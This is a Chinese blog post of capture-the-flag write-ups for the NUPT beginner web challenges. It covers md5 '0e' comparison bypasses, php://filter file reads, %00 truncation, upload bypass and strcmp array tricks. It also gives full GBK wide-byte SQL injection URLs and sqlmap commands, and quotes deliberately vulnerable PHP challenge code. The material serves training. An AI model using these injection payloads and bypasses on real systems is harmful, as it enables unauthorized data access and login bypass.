南邮ctf之web之wp

下面是所有现在可以做的web题的wp!

建议使用CTRL+F查找所需题目,我都有标注!这样方便!

1、签到题

 

 

 直接查看源码即可

 

 

 

2、md5 collision

 

解读代码:

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

经典的md5加密题:个人感觉这题考的就是两个等于号,双等于号漏洞,也就是可以通过0e,科学计数法绕过的!所以只要前面是0e开头的md5加密的也就基本可以了,也不需要找,这个百度一大堆的!

md5('s878926199a')=0e545993274517709034328855841020

md5('s155964671a')=0e342768416822451524974117254469

找了两个,随意选一个就行了!还有很多可以自己收藏!

 

 

 

3、签到题2

打开题目地址是这样的!

像这种类型的一般就是输入框长度被限制了,所以直接右键点击检查,改一下就行了!

 

 

 

其实11也就行了,这样的题就这样的套路,比较简单!再遇到一些做sql注入啥的被限制了长度都可以这样改!

 

4、这题不是WEB

点开题目地址发现是一张图片!

这样的题,首先先看一下源码,或者检查一下F12看里面是否存在,若不存在那应该再图里面了!下载图片,拉进HEXEdit里面查看,再最后发现flag!是个图片隐写了!

 

 

 

5、层层递进

点开题目地址是这样的!

 

 

 

还是直接点击查看源码,和右击检查,都是老套路,也就不多说了!

再检查源码的时候发现:一个SO.html点击去查看~!~

然后发现有个404.html!

再点击去看:

点击检查:发现flag

 

 

6、AAencode

 

很不幸,这个不能做了,原来还可以,应该是帮aaencode.txt文件给删除了吧,就说说这样的解码吧,这个解码也就是一些符号组成的,一般只要放在控制台里面就可以了!

如果不行再找一下解码的平台啥的!

http://utf-8.jp/public/aaencode.html  度娘里面一大堆!下一题!

 

7、单身二十年

有点意思,看看题目:

 

看题么应该是个闪图啥的!或者快速跳转啥的,这种的用burp就比较简单了!进题目地址看看!

 

是个跳转页面,不要怕我们有神器==burp==

直接出来,burp不会的那自己去百度一下吧!各种骚姿势!

 

8、php decode

看代码吧:

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); //将传进来的参数$ZzvSWE进行base64解密
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {  //循环体
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); //chr — 返回指定的字符(ascii值) ord — 转换字符串第一个字节为 0-255 之间的值
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==")); //eval可以解析php代码,所以此题只需要帮eval改为输出就行了,echo、print,这样
$ZzvSWE也就被赋值了所echo的值!
?>

一看代码,发现这是个加解密的题目呀!

代码解析在上面,这个开启我的study,代码运行起来才能发现问题!

 

 

 

9、文件包含

 

 

 

文件包含,那就涉及到了伪协议,所以还是先做题!

这里使用一个php://filter/read/convert.base64-encode/resource=xxx.php,转为base64这样就能得到源码了!

再解码也就得到了源码:https://base64.supfree.net/ 解码地址、也可以自己用base64-decode(.......)来解码!

解码发现flag!

既然可以伪协议我再看看能否用一句话连接接!

发现想多了,哈哈哈!

做题要联想,这样才能加强自己的实力,虽然我还是个小白,小菜鸡,我会努力的,加油!

 

10、单身一百年也没用(这题目有点狠,单身一百年,一辈子光棍呗,哈哈哈)

题目地址点开发现还是跳转,不多说,上神器burp!

 

 

 

 

11、Download~!

这题不能做唉!

 

12、COOKIE(题目提示COOKIE就是甜饼的意思~TIP: 0==not)

这种有COOKIE的还是直接抓包看比较舒服!上burp!

 

 

 

发现有个Login=0,根据题目意思,0一般是假或者空,改为1,试试!

13、MYSQL

 

 

 

robots.txt?这个文件一般只要是个网站都会有的,相当于加载一些网站的一些xxx.php等文件名啥的!

 

代码吧:

一般sql注入我都直接sqlmap跑了,这个手注一波吧,讲解原理!

1、主要看一个函数intval() 函数用于获取变量的整数值。(这题的关键点)

2、再看if语句,这个需要id=1024就输出 no!try again,否则输出查询语句,应该是出flag的!

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

所以直接构造payload,利用小数绕过if!

 

 

 

14、GBK Injection

 

 

 

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81,任意进制在线转换网站请点击此处!另外可以直接记住GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),则尾字节会被吃点,如转义符号\对应的编码0×5C!另外简单提一下,GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。


原文链接:https://blog.csdn.net/william_munch/article/details/100037244

这位博主说的原理挺好的,所以我就转载使用一下了!

所以再写数据库时还是最好使用utf-8比较安全的!

使用%df和'就会转义为 運 这样就绕过一些安全函数了!下面是payload,所以我也不再截图了!

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
回显:sae-chinalover

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
回显:ctf,ctf2,ctf3,ctf4,gbksqli,news

应该是这个gbksqli这个表!!!

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x67626B73716C69--+
回显:flag

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from gbksqli--+
回显:nctf{gbk_3sqli}

这里的#过滤了所以使用的是--+

 

15、/x00

看代码吧:

view-source:
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) //ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   //strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

解析代码:

1、判断是否传入nctf

2、利用ereg函数绕过正则 (ereg函数一个漏洞,类似于0x00截断,都是因为这些函数遇到ASCII码为0的字符时,会自动默认到了结尾而停止)

3、绕过strpos函数

所以第一种方法出来了!

可以使用%00截断的这种

#需要改为%23,url编码问题,不改出不来!

 

 

 

第二种,因为ereg函数对数组只返回null!所以第二种也就出来了!

因为又做了强制判断 === 所以也就是false了

strpos函数也不解析数组,所以也返还null

 

16、bypass again

看源码:

 

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))  //主要还是这个双等于漏洞
die('Flag: '.$flag); 
else
print 'Wrong.';
}

 

这题思路点:

1、需要输入a和b

2、a和b不能相等

3、md5值又需要相等,才输出flag!

这题解题点,是这个双等于,都知道双等于可以利用科学计数法绕过,就是0e开头的!所以只要找两个0e开头的md5值就行了,上面有题就是的,就不多说了!

 

md5('s878926199a')=0e545993274517709034328855841020

 

md5('s155964671a')=0e342768416822451524974117254469

 

直接截图吧:

 

 

17、变量覆盖

参看所给源码:

 

考点:

1、extract函数

 

 

 

 

2、让$pass == $thepassword_123,这就利用到上面的函数extract()

让$pass、$thepassword_123赋值相同值就行了

如下:

 

 

18、PHP是世界上最好的语言

做不了!

 

19、伪装者

 

由题所知:需要修改本地也就是127.0.0.1,打开burp吧!

要么是X-Forwarded-For代理服务,或者是client-ip真实ip地址!

 

 

 

 

20、header

这个也做不了!

 

21、上传绕过

 

文件上传,还是用burp抓包、改包、发送!

选择比较小点的图片,最好不要超过1M的越小越好!最好是png的,文件内容不容易损坏!

 

上传发现需要后缀为php的,所以考虑用%00截断试试!

 

%00截断是文件后缀名就一个%00字节,可以截断某些函数对文件名的判断,在许多语言函数中,处理字符串的函数中0x00被认为是终止符,相当于sql注入中的#!

 

上传函数处理1.php%00.jpg时,后缀名是合法的jpg、png、gif格式,可以上传,在保存文件时,遇到%00字符,后面的jpg就不要了,文件后缀最终保存的后缀名为1.php

 

 

发现回显支持gif、png、jpeg!所以尝试用目录截断!

 

 

 

发现还是不行,应该是截断出现问题了,在去修改一下hex里面的,

 

文件上传建议去做  upload-labs  百度上都有

靶机下载地址:https://github.com/Tj1ngwe1/upload-labs

 

22、SQL注入1

点击source查看源码!

 

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);  //trim() 函数移除字符串两侧的空白字符或其他预定义字符!就是去空格!
  $pass = md5(trim($_POST[pass]));  //被md5加密,所有这个只能在用户做手脚了!
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //后面的pw用%23给注释,主要构造前面的! 
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {  //只有user等于admin才给flag!
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

 

 

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

 

首先我们先看这个,看如何绕过,可以自己弄个记事本什么的自己来尝试一下,最好是在命令行中,在mysql中!

 

$sql="select user from ctf where (user='admin' or 1=1)%23 (后面的都不要了,被注释了)') and (pw='".$pass."')";

 

看这样就简单的闭合了,所有不要拿到题目就直接上手,先看sql语句,再看过滤机制,代码审计就这样的,看懂代码才是最重要的!直接去看一下行不行!

 

 

 

 

 

下面再尝试一下sqlmap跑一下!(使用kali中自带的,本机的卸载了)

因为是post传参,所有用burp抓包一下!

 

 

保存为1.txt,再用SQLmap跑!

payload:sqlmap -r 1.txt --dbs

 

 

 

 

payload:sqlmap -r 1.txt --tables -D sae-chinalover

 

下面的我也就不跑了,这里面有个是gbksqli的还有的是其他的!自己可以尝试玩玩!

 

 

这个是这一题的!

 

23、pass check

 

参看所给源码:

 

$pass=@$_POST['pass']; //post传参
$pass1=***********;//被隐藏起来的密码
if(isset($pass))  //判断是否有pass参数传入
{
if(@!strcmp($pass,$pass1)){   //比较两个字符串,也就是让post传进去的参数和pass1进行比较,要让这个成立也就输出flag了!
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

strcmp() 函数比较两个字符串。

 

注释:strcmp() 函数是二进制安全的,且对大小写敏感。

 

如果 str1 (第一个字符串)小于 str2(第二个字符串) 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

没思路,去找了strcmp漏洞!终于发现,这个函数,如果传入数组,那他会返回0,

 

 要求传入字符串。如果传入非字符串呢?

 

结果函数报错!但是函数返回“0”  。 虽然报错了但函数的判断却是“相等”

 

如何传入非字符串?答案是传入数组

 

将变量的结尾加上“[ ]”  将其构造为数组。

 

转载:https://www.cnblogs.com/llww/p/12156524.html

尝试一下:成功!

 

又学习了!又找到一些图,看这些图我基本没懂,应该我是菜鸡吧!

 

 

 

 

 

 

 

如果哪位大佬刷到了,可以方便给我留个思路呗,感谢!

 

24、起个名字真难

参看所给源码:

<?php
function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)  //循环传入的number
       {   
               $digit = ord($number{$i});  //进行循环过后的值
               if ( ($digit >= $one) && ($digit <= $nine) )  //如果 $digit>1或者小于9就false!
               {
                       return false;
               }
       }
          return $number == '54975581388';  
}
$flag='*******';
if(noother_says_correct($_GET['key']))  //必须输入key=54975581388就输出flag!
echo $flag; 

else echo 'access denied'; ?>

要点就是要key=54975581388,输出flag!又被过滤数字,所有这个点我只有用16进制来进行绕过!

网址:https://tool.oschina.net/hexconvert/

 

提交:(需要加0xccccccccc)因为是16进制!

 

 

25、密码重置

 

点进去发现用户名怎么都改不了的!

 

 

所以点击右键,点击检查:

根据题目改为admin

 

点击重置:flag出来

 

26、php 反序列化(暂时无法做)

参看所给源码:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
    
    $o = unserialize($pass);
    
    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
?>

进行序列话:(解释我都写再里面了,注释方就是)

 

 

 

进行验证,看看序列话出来的值

 

最后验证:

知识点:

主要说的是面向对象,涉及到了魔法函数__construct(),和为变量$this,面向对象我博客首页有点知识点,可以自己看一下,不好的地方请指出,感谢!

 

27、SQL注入2

<html>
<head>
Secure Web Login II
</head>
<body>

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];  //post传参
  $pass = md5($_POST[pass]);  //md5加密
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));  //sql语句! 存储结果集
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {  //strcasecm比较两个字符串(不区分大小写):
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

如果变量存在,并且,$pass与$query[pw]相等(不区分大小写)

$query[pw]) && (!strcasecmp($pass, $query[pw])

这个成立才输出flag。

这个主要是传进去的user用户里面的密码pass和md5加密的pass比较,所有需要绕过这个md5加密。

先看sql语句:

("select pw from ctf where user='$user'")

直接构造一下payload吧,利用union select联合查询:

 

 

 

pass=1对应的是md5(1)!只要md5()里面的数和pass所等于的对上就可以了

 

 

28、综合题2

这个单发,点击:https://www.cnblogs.com/hcrk/articles/12540271.html

 

29、密码重置2

看题目提示:

 

 

根据第一点找到管理员邮箱!

 

 

 

根据第二点vim的备份文件,先了解vim的备份文件!

看一些博客写的感觉太麻烦了,直白的理解就是再编辑vim文件时,或生成一个.xxx.swp的文件。

 vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件

就是.submit.swp!

所以这里的临时文件应该时..submit.php.swp

 

看截图中所框的,需要$token字段等于10,并且都为0!

所以这题出来了,结合上面的管理员邮箱地址!

 

 

 

 

30、file_get_contents

 

查看源码,因为一进去发现是空白页面,不是404,说明应该还是有东西的!

 

看到这个file_get_contents()函数,这个是post传参的,一般会结合伪协议一起使用,例如:file_get_contents("php://input")截取post传进来的参数值!

所以这一题应该就是利用伪协议中的php://input了!

出来了!

 

31、变量覆盖

还是代码审计题:

 

主要说的是两个$$符号,因为$$key= $value,当$value = name时, (就是给get传入参数)$$key = name 即$name =  meizijiu233!

所以就出来了!

 

变量覆盖,我们遇到两个了,一个是extract()函数,一个是现在这个双$$符号,还有两个分别为parse_str()函数、import_request_variables()函数,感兴趣可以自己去找找度娘!

 

结束!下面三题不能做了!所以CG-ctf之web结束,下期做攻防世界里面的!南邮这个算是入门,题目是前面难后面慢慢加大难度,

攻防世界过段时间继续更新!

 

posted @ 2020-03-17 15:20  空城-1  阅读(1528)  评论(0)    收藏  举报